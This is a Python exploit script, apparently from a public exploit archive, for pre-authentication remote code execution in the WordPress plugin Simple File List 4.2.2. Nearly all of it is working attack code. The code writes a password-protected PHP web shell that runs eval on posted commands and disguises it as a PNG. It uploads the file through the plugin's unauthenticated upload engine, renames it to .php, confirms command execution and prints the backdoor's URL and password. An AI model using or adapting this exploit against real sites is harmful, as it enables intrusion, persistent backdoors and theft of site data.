WordPress Plugin Simple File List 4.2.2 – Remote Code Execution
# Exploit Title: Wordpress Plugin Simple File List 4.2.2 - Remote Code Execution # Date: 2020-04-19 # Exploit Author: coiffeur # Vendor Homepage: https://simplefilelist.com/ # Software Link: https://wordpress.org/plugins/simple-file-list/ # Version: Wordpress Simple File List <= v4.2.2 import requests import random import hashlib import sys import os import urllib3 urllib3.disable_warnings() dir_path = '/wp-content/uploads/simple-file-list/' upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php' move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php' def usage(): banner = """ NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL> AUTHOR: coiffeur """ print(banner) def generate(): filename = f'{random.randint(0, 10000)}.png' password = hashlib.md5(bytearray(random.getrandbits(8) for _ in range(20))).hexdigest() with open(f'{filename}', 'wb') as f: payload = '<?php if($_POST["password"]=="' + password + \ '"){eval($_POST["cmd"]);}else{echo "<title>404 Not Found</title><h1>Not Found</h1>";}?>' f.write(payload.encode()) print(f'[ ] File {filename} generated with password: {password}') return filename, password def upload(url, filename): files = {'file': (filename, open(filename, 'rb'), 'image/png')} datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path, 'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'} r = requests.post(url=f'{url}{upload_path}', data=datas, files=files, verify=False) r = requests.get(url=f'{url}{dir_path}{filename}', verify=False) if r.status_code == 200: print(f'[ ] File uploaded at {url}{dir_path}{filename}') os.remove(filename) else: print(f'[*] Failed to upload {filename}') exit(-1) return filename def move(url, filename): new_filename = f'{filename.split(".")[0]}.php' headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1', 'X-Requested-With': 'XMLHttpRequest'} datas = {'eeSFL_ID': 1, 'eeFileOld': filename, 'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'} r = requests.post(url=f'{url}{move_path}', data=datas, headers=headers, verify=False) if r.status_code == 200: print(f'[ ] File moved to {url}{dir_path}{new_filename}') else: print(f'[*] Failed to move {filename}') exit(-1) return new_filename def main(url): file_to_upload, password = generate() uploaded_file = upload(url, file_to_upload) moved_file = move(url, uploaded_file) if moved_file: print(f'[+] Exploit seem to work.\n[*] Confirmning ...') datas = {'password': password, 'cmd': 'phpinfo();'} r = requests.post(url=f'{url}{dir_path}{moved_file}', data=datas, verify=False) if r.status_code == 200 and r.text.find('php') != -1: print('[+] Exploit work !') print(f'\tURL: {url}{dir_path}{moved_file}') print(f'\tPassword: {password}') if __name__ == "__main__": if (len(sys.argv) < 2): usage() exit(-1) main(sys.argv[1]) |